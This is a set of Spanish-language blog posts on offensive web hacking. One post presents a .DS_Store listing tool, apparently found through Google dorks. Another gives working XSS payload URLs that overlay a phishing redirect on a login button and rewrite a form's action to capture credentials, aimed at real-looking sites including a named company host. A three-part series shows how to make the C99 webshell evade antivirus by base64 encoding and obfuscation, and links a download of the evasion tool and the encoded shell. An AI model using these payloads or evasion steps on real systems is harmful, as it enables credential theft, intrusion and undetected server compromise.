Estos ficheros suelen encontrarse en paginas webs al realizar la subida de un directorio junto con los ficheros .DS_Store ocultos de un Mac OS X y por ello algunos se pueden encontrar indexados a los buscadores. Estos ficheros se puede encontrar dorkeando en Google con un dork tal que así, inurl:.ds_store intext:Bud1 o de esta otra forma ext:ds_store Bud1<br />
<div align="center">
<a href="http://lh4.ggpht.com/-qkJ3aMDNK-A/Uh5mOuCDeII/AAAAAAAAAFk/5mFNHp7jHwM/s1600-h/image%25255B9%25255D.png"><img alt="image" border="0" height="52" src="http://lh6.ggpht.com/-eevVgPlHbIo/Uh5mPFCjdwI/AAAAAAAAAFs/hASoVWdZueA/image_thumb%25255B4%25255D.png?imgmax=800" style="background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="566" /></a><br />
<span style="font-size: x-small;">Imagen 1: Busqueda con Dork</span><br />
</div>
Estos ficheros como se puede apreciar en la siguiente imagen tiene un “Head” propio de propio de ellos que contiene la cadena Bud1 además de un cuerpo en el que se encuentra un patrón al final de los nombres de ficheros y directorios “<span style="font-family: Consolas;">Ilocblob</span>” que los identifican<br />
<div align="center">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifeb-8KSyr62KQxU85cRJY9sBGQ9IxG8ssNU0hFB8Z8qUyH01uIeAxuulkLH2Hl3Jx70tFizoXsdtYd1t_CgtR1LCj2gCyLd_Qbb7O9kOyRSmqFsKWpUD3v1LPYrMrDt2f8m1FX_55Hkw/s1600/DS_Store_2.png" /><br />
<span style="font-size: x-small;">Imagen 2: Fichero .DS_Store</span><br />
</div>
La herramienta que he desarrollado se encuentra compilada en C# y Java además de sus correspodientes SRC donde podréis ver e investigar como funciona, esta versión no esta lo depurada que me hubiese gustado pero realiza su objetivo listando de la URL donde se encuentra el fichero .DS_Store los nombres de ficheros y directorios escondidos en el.<br />
Para un ejemplo se realizo la prueba contra esta web que además de contener dicho fichero tiene un directorio abierto, con lo cual se pueden contrastar los resultados extraídos por la herramienta y los que se listan en la propia web y es que esta herramienta es una gran alternativa a listar directorios que se encuentran protegidos y con ello no son listados.<br />
<div align="center">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrOdRy4sTfR1oMQjGzj5ILZy8aeNpcIUYqsAZcFSrnHd-_neu4YdtW8MIaZcklRQ98lb-HIVp8-MxnbdzLE7N1e7-6XXzpnG7N65_XNkShSn0HUhIR8O0N1qiiit7RDMJjTvGbfurMdNE/s1600/DS_Store_4.png" /><br />
<span style="font-size: x-small;">Imagen 3: Directorio abierto</span><br />
</div>
Una vez lanzada la aplicación se puede ver como quedo el resultado en la siguiente captura.<br />
<div align="center">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnI7KcjW4bVWmVx8Hx26vvLmWPvgJfcPNUNJSnBX-ym89puNQxMzKL3DNDpEo80kegYAwJz2SKp1GgzGGOFRsADJXBvQ2Nn3SaeyGdG51ftLofPbZoBreHPLzUXkPklzntU8FA-u5Y12Y/s1600/DS_STore_5.png" /><br />
<span style="font-size: x-small;">Imagen 4: Resultado de la iDStore</span></div>
Se puede apreciar los ficheros que en un principio estuvieron, con errores 404 y que ahora no están y los que aún continúan estando<br />
Source en C# y Java + compilados<br />
<a href="http://sourceforge.net/projects/idstore/files/">http://sourceforge.net/projects/idstore/files/</a><br />
<br />
Ya van 165 descargas :O MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com0tag:blogger.com,1999:blog-1612739396540967045.post-47001974669764479902013-08-12T06:15:00.001-07:002013-09-20T03:26:28.968-07:00Ataques XSS avanzados a aplicaciones webs: 3 Ejemplos<div align="justify">
Hoy les traigo 3 ejemplos de aplicaciones en webs vulnerables a inyecciones XSS, a continuación se va a demostrar cómo es posible realizar varios ataques XSS avanzados, donde se interceptan las credenciales de un <i>login</i> vulnerable con dos ejemplos: </div>
<blockquote>
<div align="justify">
1. Añadir imagen invisible superpuesta al botón del <i>submit </i>del <i>form </i>del <i>login</i>2. Cambiar <i>action</i> de un <i>form</i></div>
</blockquote>
<div align="justify">
<b>Glosario de terminos</b> </div>
<div align="justify">
<b>XSS:</b> del inglés Cross-site scripting es un tipo de inseguridad informática o agujero de seguridad típico de las aplicaciones Web, que permite a una tercera parte inyectar en páginas web vistas por el usuario código JavaScript o en otro lenguaje script similar.<br />
<b>Scam:</b> es el nombre utilizado para las estafas a través de medios tecnológicos. A partir de la definición de estafa, se define scam como el ‘delito consistente en provocar un perjuicio patrimonial a alguien mediante engaño y con ánimo de lucro; utilizando como medio la tecnología’.<br />
<b>Phising:</b> es un término informático que denomina un tipo de abuso informático y que se comete mediante el uso de un tipo de ingenieria social caracterizado por intentar adquirir información confidencial de forma fraudulenta.</div>
<div align="justify">
<b>Ejemplo 1:</b> </div>
<div align="justify">
Como se puede apreciar esta sería la URL junto a la inyección XSS que se enviará a las víctimas.<br />
<a href="http://xxxx.yyyy.com.mx/portalvtn/change_password.jsp?login=%22/%3E%20%3Cdiv%20style=%22position:%20absolute;%20z-index:1;left:525;%20top:90;%20border:%20none;%20border:%200;%22%3E%3Cimg%20src=%22cuadrado.png%22%20height=%22100%22%20width=%22160%22%20onclick=%22javascript:window.location.href=%27http://127.0.0.1/portalvtn/change_password.php%27%22%3E%3C/div%3E%3Cinput%20type=%22hidden%22%20value=%22">http://XXXX.YYYY.com/test.jsp?login=%22/%3E%20%3Cdiv%20style=%22position:%20absolute;%20z-index:1;left:525;%20top:90;%20border:%20none;%20border:%200;%22%3E%3Cimg%20src=%22cuadrado.png%22%20height=%22100%22%20width=%22160%22%20onclick=%22javascript:window.location.href=%27http://127.0.0.1/test/changepassword.php%27%22%3E%3C/div%3E%3Cinput%20type=%22hidden%22%20value=%22</a></div>
<div align="justify">
Diseccionándola para identificar mejor cada parte de la URL es posible identificar: </div>
<div align="justify">
Por un lado la URL tal cual.<br />
<a href="http://xxxx.yyyy.com.mx/portalvtn/change_password.jsp?login">http://XXXX.YYYY.com/test.jsp?login</a>=</div>
<div align="left">
Y por otro la inyección. cerrando el TAG y añadiendo el código correspondiente para el engaño.<br />
"/><br />
<div style="position: absolute; z-index:1;left:525; top:90; border: none; border: 0;"><br />
<img src="cuadrado.png" height="100" width="160" onclick="javascript:window.location.href='http://127.0.0.1/test/changepassword.php'"></div><br />
<input type="hidden" value="</div>
<div align="left">
Con el cierre del TAG del principio y la apertura de un input evitamos que la aplicación muestre la web erróneamente:<br />
"/><br />
<input type="hidden" value="</div>
<div align="justify">
Con el DIV se va a colocar una imagen transparente encima del botón que sirve para acceder al panel de administración.<br />
<a href="http://img443.imageshack.us/img443/9761/rg4.png">http://img443.imageshack.us/img443/9761/rg4.png</a></div>
<div align="justify">
La imagen al ser cliqueada va a realizar una redirección a una clonación de la página del login que se encuentra alojada en otra web a la espera de recibir ese usuario y contraseña que se espera obtener con este ataque XSS. </div>
<div align="justify">
Para ver el ejemplo en acción voy a cambiar la imagen invisible por una inexistente y de esta forma poder identificarla en la imagen siguiente. </div>
<div align="center">
<a href="http://lh4.ggpht.com/-to37-eGtXvw/Ujwhmc42IgI/AAAAAAAAAHs/bvMfmkLrEWY/s1600-h/1%25255B4%25255D.png"><img alt="1" border="0" height="250" src="http://lh5.ggpht.com/-rGnGZMQ9zxw/Ujwhm8TxpWI/AAAAAAAAAH0/6l3bwszT2-E/1_thumb%25255B2%25255D.png?imgmax=800" style="background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="1" width="751" /></a><br />
Imagen 1: Imagen sobrepuesta al botón</div>
<div align="justify">
La víctima al rellenar su usuario y contraseña y cliquear sobre <i>Cambiar contraseña propia </i>estará realmente apretando sobre la imagen que a su vez lanzará el javascript que le va a re direccionar a la web fraudulenta. </div>
<div align="center">
<a href="http://lh6.ggpht.com/-6BVTCdIRgYY/UjwhnPN1KQI/AAAAAAAAAH4/wjMxGUoOFTQ/s1600-h/2%25255B4%25255D.png"><img alt="2" border="0" height="284" src="http://lh4.ggpht.com/-SmlzKLrvbNM/UjwhnqaZLBI/AAAAAAAAAIE/FkFVmYP7fvU/2_thumb%25255B2%25255D.png?imgmax=800" style="background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="2" width="644" /></a><br />
Imagen 2: Víctima redirigida a la web clonada</div>
<div align="justify">
Nada más entrar al phising que hemos creado será alertado con un mensaje que le haga creer que se ha equivocado escribiendo sus credenciales. como se puede observar en la barra de direcciones ahora se encuentra en nuestro servidor fraudulento. </div>
<div align="justify">
Una vez vuelva a escribir sus credenciales se guardarán en un fichero y le volverá a ser redirigido a la web real junto con otro XSS que le vuelva a advertir de que ha escrito erróneamente sus credenciales para que no sospeche. </div>
<div align="center">
<a href="http://lh5.ggpht.com/-dONsGhoaSnY/UjwhoAysUnI/AAAAAAAAAIM/Sbc0CqYcozM/s1600-h/3%25255B9%25255D.png"><img alt="3" border="0" height="323" src="http://lh6.ggpht.com/-ESNWQn_Btvc/UjwhokCXYOI/AAAAAAAAAIU/EzWvqFcoDdQ/3_thumb%25255B5%25255D.png?imgmax=800" style="background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="3" width="475" /></a><br />
Imagen 3: Usuario y contraseña robada</div>
<div align="center">
<a href="http://lh6.ggpht.com/-pw_e5PEp8TY/UjwhpAH9zOI/AAAAAAAAAIc/i8TbSGx19S8/s1600-h/3%25255B8%25255D.png"><img alt="3" border="0" height="335" src="http://lh4.ggpht.com/-Pd3HlXaQJ5Q/UjwhpnENyZI/AAAAAAAAAIk/zuNx-Zydufs/3_thumb%25255B4%25255D.png?imgmax=800" style="background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="3" width="493" /></a><br />
Imagen 4: Redirección a la web original</div>
<div align="justify">
<b>Ejemplo 2:</b> </div>
<div align="justify">
Otra forma muy elegante que no por ello la anterior no se ha de tener en cuenta es modificando en el vuelo directamente el <i>action</i> del <i>form.</i><a href="http://xxxx.yyyy.com.mx/portalvtn/change_password.jsp?login=%22%2F%3E%0A%3Cscript%3Edocument.changeForm.action%20%3D%20%22%20http%3A%2F%2F127.0.0.1%2Fportalvtn%2Fchange_password.php%22%3Bdocument.forms[0].btnSubmitOwn.type%3D%22submit%22%3C%2Fscript%3E%0A%3Cinput%20type%3D%22hidden%22%20value%3D%22aaa%0A%22">http://XXXX.YYYY.com/test.jsp?login=%22%2F%3E%0A%3Cscript%3Edocument.changeForm.action%20%3D%20%22%20http%3A%2F%2F127.0.0.1%2Ftest%2Fchangepassword.php%22%3Bdocument.forms[0].btnSubmitOwn.type%3D%22submit%22%3C%2Fscript%3E%0A%3Cinput%20type%3D%22hidden%22%20value%3D%22aaa%0A"</a></div>
<div align="left">
Para ver mejor la inyección he separado el código que va a modificar el comportamiento de la aplicación.<br />
<script>document.changeForm.action = " <a href="http://127.0.0.1/portalvtn/change_password.php">http://127.0.0.1/test/changepassword.php</a>";document.forms[0].btnSubmitOwn.type="submit"</script><br />
<input type="hidden" value="aaa</div>
<div align="left">
Como se puede apreciar se le está cambiando el <i>action</i> del <i>form </i>que en un principio se dirigía a sí mismo, por el de nuestro <i>scam</i> que tenemos en el servidor a la espera de que caiga en el engaño.<br />
document.changeForm.action = " <a href="http://127.0.0.1/portalvtn/change_password.php">http://127.0.0.1/test/changepassword.php</a>";</div>
<div align="left">
y el <i>type</i> del botón para que pase a ser un <i>submit</i><br />
document.forms[0].btnSubmitOwn.type="submit"</div>
<div align="justify">
Aquí se puede apreciar cómo una vez hecha la inyección al darle a ‘<i>Cambiar contraseña propia’ </i>se envía tanto el usuario como la contraseña a mi aplicación y esta a su vez lo vuelca en un fichero. </div>
<div align="center">
<a href="http://lh5.ggpht.com/-IRejb37S6i4/UjwhqK-we9I/AAAAAAAAAIs/eROLRBKC_-A/s1600-h/5%25255B4%25255D.png"><img alt="5" border="0" height="257" src="http://lh5.ggpht.com/-4PJ7LPFCPk4/UjwhqiQ20vI/AAAAAAAAAI0/ihYOjFxyFKc/5_thumb%25255B2%25255D.png?imgmax=800" style="background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="5" width="624" /></a><br />
Imagen 5: Inyección XSS/ formulario rellenado</div>
<div align="center">
<a href="http://lh3.ggpht.com/-ybmWhTaj4zY/UjwhrFQarwI/AAAAAAAAAI8/fQk1AklD-ME/s1600-h/6%25255B4%25255D.png"><img alt="6" border="0" height="363" src="http://lh3.ggpht.com/-lCbpFsahdDQ/UjwhrvmQ_rI/AAAAAAAAAJE/qumI-8PftQo/6_thumb%25255B2%25255D.png?imgmax=800" style="background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="6" width="592" /></a><br />
Imagen 6: Envio de credenciales y vuelta al login original.</div>
<div align="justify">
De esta forma a diferencia del primer ejemplo a ojos de la víctima sería casi del todo imperceptible. </div>
<div align="justify">
<b>Ejemplo 3:</b> </div>
<div align="justify">
Y por último otro ejemplo de XSS no muy común sería el siguiente<br />
<a href="http://xxxxx.com.ve:8000/planillas/verPlanilla.php?proyectoId=1">http://xxxxx.com/test/ver.php?proyectoId=1</a></div>
<div align="justify">
Donde el código fuente de la aplicación es el siguiente: </div>
<div align="left">
<pre><html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Plan</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<frameset cols="250,*" frameborder="no" border="0" framespacing="0">
<frame
src="<a href="view-source:http://sipextranet1.telefonica.com.ve:8000/planillas/indicePlanilla.php?proyectoId=1&action=ver">indicePlan.php?proyectoId=1&amp;action=ver</a>"
name="leftFrame" scrolling="No" noresize="noresize" id="leftFrame"/>
<frame
src="<a href="view-source:http://sipextranet1.telefonica.com.ve:8000/planillas/verPlanilla2.php?proyectoId=1">verPlan.php?proyectoId=1</a>"
name="mainFrame" id="mainFrame" />
</frameset>
<noframes>
<body>
</body>
</noframes>
</html></pre>
</div>
<br />
<div>
<br /></div>
<br />
<div align="justify">
Al parecer el valor del campo <i>proyectoId</i> termina concatenándose en la propiedad src de la etiqueta frame del tal manera que preparando una inyección XSS como la siguiente:<br />
<a href="http://xxxxx.com.ve:8000/planillas/verPlanilla.php?proyectoId=%22%20onload=javascript:alert%288%29%20michy=%22a">http://xxxxx.com/test/ver.php?proyectoId=%22%20onload=javascript:alert%288%29%20michy=%22a</a></div>
<br />
<div>
<br /></div>
<br />
<div align="justify">
Diseccionándolo para que se entienda mejor:<br />
<a href="http://xxxxx.com.ve:8000/planillas/verPlanilla.php?proyectoId">http://xxxxx.com/test/ver.php?proyectoId</a>=</div>
<br />
<div>
<br /></div>
<br />
<div align="justify">
" onload=javascript:alert(8) michy="a</div>
<br />
<div align="left">
Se puede observar en el código fuente como se logra inyectar lo enviado por el parámetro <i>proyectoId</i> en la etiqueta <i>frame</i> sin romperla y lograr que la aplicación cumpla como estaba prevista sin malformaciones a la vista de la víctima.<br />
<frame <br />
src="<a href="view-source:http://sipextranet1.telefonica.com.ve:8000/planillas/indicePlanilla.php?proyectoId=%5C">indicePlan.php?proyectoId=\</a>" onload=javascript:alert(8) michy=\"a&amp;action=ver" <br />
name="leftFrame" scrolling="No" noresize="noresize" id="leftFrame"/> </div>
<br />
<div>
<br /></div>
<br />
<div align="center">
<a href="http://lh6.ggpht.com/-UJznQcWbSP4/UjwhsGwpc5I/AAAAAAAAAJM/U-6TyaJOZ9I/s1600-h/7%25255B4%25255D.png"><img alt="7" border="0" height="261" src="http://lh4.ggpht.com/-3aL2scDplNU/Ujwhsvh9QBI/AAAAAAAAAJU/bX8g55GrGqE/7_thumb%25255B2%25255D.png?imgmax=800" style="background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="7" width="666" /></a><br />
Imagen 7: Inyección exitosa en la etiqueta frame</div>
MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com2tag:blogger.com,1999:blog-1612739396540967045.post-86477465280642491182013-08-06T03:23:00.001-07:002013-08-06T03:29:32.330-07:00Hacer webshell indetectables parte III de III<p><font size="2">Siguiendo con el hilo del </font><a href="http://code-disaster.blogspot.com.es/2013/07/hacer-webshell-no-detectables-parte-ii.html"><font size="2">post anterior</font></a><font size="2"> se les va a hablar de herramientas comunes para ofuscar código PHP y así lograr saltarse los antivirus. Como ejemplo se usará una herramienta llamada carbylamine escrita en PHP y desarrollada por Prakhar Prasad</font> <p><font size="2">Su uso es simple, es necesario pasarle 2 parámetros, fichero de entrada y fichero de salida</font> <p align="center"><a href="http://windowstecnico.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/windowstecnico/clip_5F00_image0024_5F00_5355C820.jpg"><font size="2"><img title="clip_image002[4]" border="0" alt="clip_image002[4]" src="http://windowstecnico.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/windowstecnico/clip_5F00_image0024_5F00_thumb_5F00_5B1DBAC2.jpg" width="569" height="401"></font></a><em><br><font size="1">Imagen 1: Ejecución carbylamine</font></em></p> <p><font size="2">Al comparar el código de los dos ficheros se puede ver un gran cambio</font> <p align="center"><a href="http://windowstecnico.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/windowstecnico/image_5F00_759AC7AD.png"><font size="2"><img title="image" border="0" alt="image" src="http://windowstecnico.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/windowstecnico/image_5F00_thumb_5F00_3AD31ED7.png" width="384" height="443"></font></a><em><br><font size="1">Imagen 2: Comparación c99 Ofuscada y sin Ofuscar</font></em></p> <p><font size="2">Y al analizarlos no se detecta como código malicioso.</font> <p align="center"><a href="http://windowstecnico.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/windowstecnico/clip_5F00_image0064_5F00_3F98B8BF.jpg"><font size="2"><img title="clip_image006[4]" border="0" alt="clip_image006[4]" src="http://windowstecnico.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/windowstecnico/clip_5F00_image0064_5F00_thumb_5F00_4CFECBC5.jpg" width="569" height="247"></font></a><em><br><font size="1">Imagen 3: Análisis de Avira</font></em></p> <p><font size="2">Así de sencillo se logra burlar al antivirus y es que no es Avira el único caso, es más desde mi punto de vista Avira es uno de los mejores antivirus que existe hoy en día y es que volviendo a criticar lo que se habló en el anterior post del método de detección por firmas que tan ineficaz es y aún más si estas empresas no invierten trabajo en añadir firmas a herramientas tan conocidas como puede ser la c99 ofuscada sin previas modificaciones con los típicos métodos de ofuscación.</font> <p align="center"><a href="http://windowstecnico.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/windowstecnico/clip_5F00_image0084_5F00_5E6F2C9D.jpg"><font size="2"><img title="clip_image008[4]" border="0" alt="clip_image008[4]" src="http://windowstecnico.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/windowstecnico/clip_5F00_image0084_5F00_thumb_5F00_04D10FE9.jpg" width="569" height="494"></font></a><em><br><font size="1">Imagen 4: Análisis en Virustotal - detección 0/47</font></em></p> <p><font size="2">Y es que son muchos los que se inician en el mundo del defacement y sin más suben una web shell ofuscada que se han bajado de la primera página de los resultados de google.</font> <p align="center"><a href="http://windowstecnico.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/windowstecnico/clip_5F00_image0104_5F00_310D96CD.jpg"><font size="2"><img title="clip_image010[4]" border="0" alt="clip_image010[4]" src="http://windowstecnico.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/windowstecnico/clip_5F00_image0104_5F00_thumb_5F00_21F6B7F3.jpg" width="569" height="336"></font></a><em><br><font size="1">Imagen 5: Búsqueda en google c99 webshell</font></em></p> <p><font size="2">Muchos webmasters se alertarían si su antivirus la hubiese detectado</font> <p><strong><font size="2">Conclusión<br></font></strong><font size="2">Me gustaría proponerle una idea y que llegase a los oídos de estas empresas antivirus.<br></font><font size="2">Porqué no advierten los antivirus cuando en un directorio web se encuentra un fichero que hace llamadas a determinadas funciones como gzinflate, base64_decode, etc y si esta al tanto, el administrador la añada como excepción. ¿Se les ocurre algún CMS que ofusque su código fuente como lo hace carbylamine?.</font> <p align="center">=================================================================<br><a href="http://code-disaster.blogspot.com.es/2013/07/hacer-webshell-no-detectables-parte-i.html"><font size="2">Indetectar web Shell parte I de III</font></a><font size="2"> <br></font><a href="http://code-disaster.blogspot.com.es/2013/07/hacer-webshell-no-detectables-parte-ii.html"><font size="2">Indetectar web Shell parte II de III</font></a><font size="2"> <br>Indetectar web Shell parte III de III<br>=========================================================================</font></p> MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com1tag:blogger.com,1999:blog-1612739396540967045.post-76882018116137229032013-07-31T01:42:00.000-07:002013-08-06T03:30:37.678-07:00Hacer webshell indetectables parte II de III<div align="justify">
<span style="font-size: small;">Continuando con el <a href="http://code-disaster.blogspot.com.es/2013/07/hacer-webshell-no-detectables-parte-i.html">anterior post</a>, hoy se va a tratar la publicación de una herramienta para agilizar el método utilizado a la hora de conseguir que no se detecte la webshell y así dejar automatizado este proceso.</span></div>
<div align="center">
<span style="font-size: xx-small;"><img alt="clip_image002[4]" src="http://windowstecnico.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/windowstecnico/clip_5F00_image0024_5F00_thumb_5F00_70CC264E.jpg" /><br /><span style="font-size: x-small;"><i>Imagen 1: AVFuck ejecución sin parámetros</i></span></span></div>
<div align="justify">
<span style="font-size: small;">Antes de nada se explica en profundidad el funcionamiento interno para que puedan contar con las nociones necesarias sobre lo que hace la herramienta, para una mejor comprensión. La aplicación va a crear varios ficheros partiendo del original, donde cada fichero generado se va a diferenciar en su contenido, en función del número que se haya enviado como tercer parámetro a la aplicación. Un ejemplo a pequeña escala sería tener una web shell con una longitud de 30 caracteres en la que se ejecutase la aplicación de la siguiente forma:<br /><br /><i>AVFuck_TPlain.exe 0 end 10 ficheroConWebshellEnBase64</i><br />El resultado va a ser la creación de 3 ficheros llamados 0-10.php, 10-20.php, 20-30.php, donde el primero varia los 10 primeros caracteres con respecto del original, en el segundo se varia desde el carácter 10 hasta el 20 y el tercero desde el 20 hasta el 30. Para poder realizar las variaciones, lo único que se ha incluido ha sido una salto de línea entre cada carácter de ese rango.<br /><br />Tomándose como referencia este ejemplo, se podría poner un caso real, el que se utilice la web shell c99, como se indicó en el primero post. Una vez se tenga la web shell cifrada en base64 y volcada en un fichero, lo siguiente será lanzar la mi aplicación de la siguiente forma:<br /><br />Primero será necesario colocarse en el directorio de la App<br /><br /><i>Cd “C:\xxxx\App\”</i><br /><br />Y después ejecutarla de esta forma:<br /><br /><i>AVFuck_TPlain.exe 0 end 10000 ficheroConWebshellEnBase64</i><br /><br />Una vez termine saldrá el mensaje ……….End!</span></div>
<blockquote>
<div align="center">
<span style="font-size: xx-small;"><img alt="clip_image004[4]" src="http://windowstecnico.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/windowstecnico/clip_5F00_image0044_5F00_thumb_5F00_28EA51CD.jpg" /><br /><span style="font-size: x-small;"><i>Imagen 2: AVFuck ejecución con parámetros</i></span></span></div>
</blockquote>
<div align="justify">
<span style="font-size: small;">Generando los siguiente ficheros:</span></div>
<div align="center">
<span style="font-size: xx-small;"><img alt="clip_image006[4]" src="http://windowstecnico.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/windowstecnico/clip_5F00_image0064_5F00_thumb_5F00_45276E20.jpg" /><br /><span style="font-size: x-small;"><i>Imagen 3: Ficheros resultantes</i></span></span></div>
<div align="justify">
<span style="font-size: small;">El próximo paso será analizar los ficheros y eliminar los detectados.</span></div>
<div align="center">
<img alt="clip_image008[4]" src="http://windowstecnico.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/windowstecnico/clip_5F00_image0084_5F00_thumb_5F00_51651FE2.jpg" /><span style="font-size: xx-small;"><br /><span style="font-size: x-small;"><i>Imagen 4: Análisis y detección de ficheros</i></span></span></div>
<span style="font-size: xx-small;"><i> </i></span><br />
<span style="font-size: small;">Como se ve, ha detectados 22/23 con lo cual nos deja un fichero libre de firma el 0-10000.php y si se realiza la prueba de copiarlo y pegarlo en el directorio web y a continuación se procede con su apertura desde del navegador se puede ver que se ejecuta correctamente, con lo cual ya se tendría la webshell libre de firma y funcional.</span> <br />
<div align="center">
<br />
<img alt="clip_image010[4]" src="http://windowstecnico.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/windowstecnico/clip_5F00_image0104_5F00_thumb_5F00_16B9AEA7.jpg" /><br />
<span style="font-size: x-small;"><i>Imagen 5: c99 indetectable a AVIRA y en ejecución</i></span></div>
<div align="justify">
</div>
<div align="justify">
</div>
<div align="justify">
</div>
<div align="justify">
<span style="font-size: small;"><b>Herramientas:</b> <br />AVFuck_TPlain Compilado + Base64(C99) <a href="http://www.multiupload.nl/SJK01DU9BD">http://www.multiupload.nl/SJK01DU9BD</a></span><br />
<span style="font-size: small;"><br /></span>
<span style="font-size: small;"><b>Conclusión:</b> <br />Se le ha explicado como utilizar la herramienta para facilitar el método propuesto en el anterior post. En el próximo post continuando con la temática se propondrán otros métodos más habituales y sus herramientas.</span></div>
<div align="justify">
<br /></div>
<div style="text-align: center;">
=========================================================================</div>
<div style="text-align: center;">
<a href="http://code-disaster.blogspot.com/2013/07/hacer-webshell-no-detectables-parte-i.html" target="_blank">Hacer webshell indetectables parte I de III</a></div>
<div style="text-align: center;">
Hacer webshell indetectables parte II de III<br />
<a href="http://code-disaster.blogspot.com.es/2013/08/hacer-webshell-indetectables-parte-iii.html">Hacer webshell indetectables parte III de III </a></div>
<div style="text-align: center;">
=========================================================================</div>
<div align="justify">
<br /></div>
MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com0tag:blogger.com,1999:blog-1612739396540967045.post-54388051462527232072013-07-25T03:00:00.001-07:002013-08-06T03:30:57.402-07:00Hacer webshell indetectables parte I de III<div align="justify">
<span style="font-size: small;">Una web shell es una herramienta común entre los defacers una vez que se ha logrado subir algún fichero a un servidor web para de este modo sea mas cómodo curiosear en el servidor, entre las web shell hay una muy reconocida que lleva muchos años en la red es la llamada C99 que se puede encontrar en infinidad de servidores.</span> </div>
<div align="justify">
<span style="font-size: small;">Sé va a enseñar como hacer indetectable para saltarse la detección del Avira Antivirus en su versión free.</span> </div>
<div align="justify">
<span style="font-size: small;">Una vez descargada y analizada por el antivirus es detectada como PHP/C99Shell.B</span> </div>
<div align="center">
<span style="font-size: x-small;"><img alt="clip_image002" src="http://windowstecnico.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/windowstecnico/clip_5F00_image002_5F00_thumb_5F00_085615DA.jpg" /></span><span style="font-size: xx-small;"><i><br /><span style="font-size: x-small;">Imagen 1: Web Shell sin codificar</span></i></span></div>
<div align="justify">
<span style="font-size: small;">Lo siguiente será encodear la web shell y que siga funcional y para ello es necesario realizar algunos cambios como cerrar los tags php y abrirlos quedando de la siguiente forma:</span> </div>
<div align="justify">
<span style="font-size: small;">¿><?php ...c99....?><?php</span> </div>
<div align="justify">
<span style="font-size: small;">Para codificarla es necesario apoyarse en alguna aplicación que lo codifique en base64, en el ejemplo se ha utilizado una aplicación gratuita disponible en <a href="http://www.base64encode.org/">http://www.base64encode.org/</a></span> </div>
<div align="justify">
<span style="font-size: x-small;"></span></div>
<div align="center">
<span style="font-size: x-small;"><img alt="clip_image004" src="http://windowstecnico.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/windowstecnico/clip_5F00_image004_5F00_thumb_5F00_6D0D970B.jpg" /></span><span style="font-size: xx-small;"><i><br /><span style="font-size: x-small;">Imagen 2: tags añadidos al final y al principio – codificada</span></i></span></div>
<div align="justify">
<span style="font-size: small;">Con el resultado codificado lo siguiente será crear un archivo php en mi caso lo he llamado C992.php y volcar allí el código en base64 quedando de la siguiente forma</span></div>
<div align="center">
<span style="font-size: x-small;"><img alt="clip_image006" src="http://windowstecnico.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/windowstecnico/clip_5F00_image006_5F00_thumb_5F00_220A006F.jpg" /></span><span style="font-size: xx-small;"><i><br /><span style="font-size: x-small;">Imagen 3: Web Shell encodeada en base64</span></i></span></div>
<div align="justify">
<span style="font-size: small;">Una vez comprobado que sigue funcional, hay que probar si el antivirus sigue detectándolo antes de seguir. Y como se puede ver sigue alertando Avira pero con una variante en este caso la firma en vez de llamarse PHP/C99Shell.B ha cambiado la B por una A</span></div>
<div align="justify">
</div>
<div align="center">
<img alt="clip_image008" src="http://windowstecnico.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/windowstecnico/clip_5F00_image008_5F00_thumb_5F00_6CAE8BE9.jpg" /><br />
<span style="font-size: x-small;"><i>Imagen 4: Avira con c99 en base64</i></span></div>
<div align="justify">
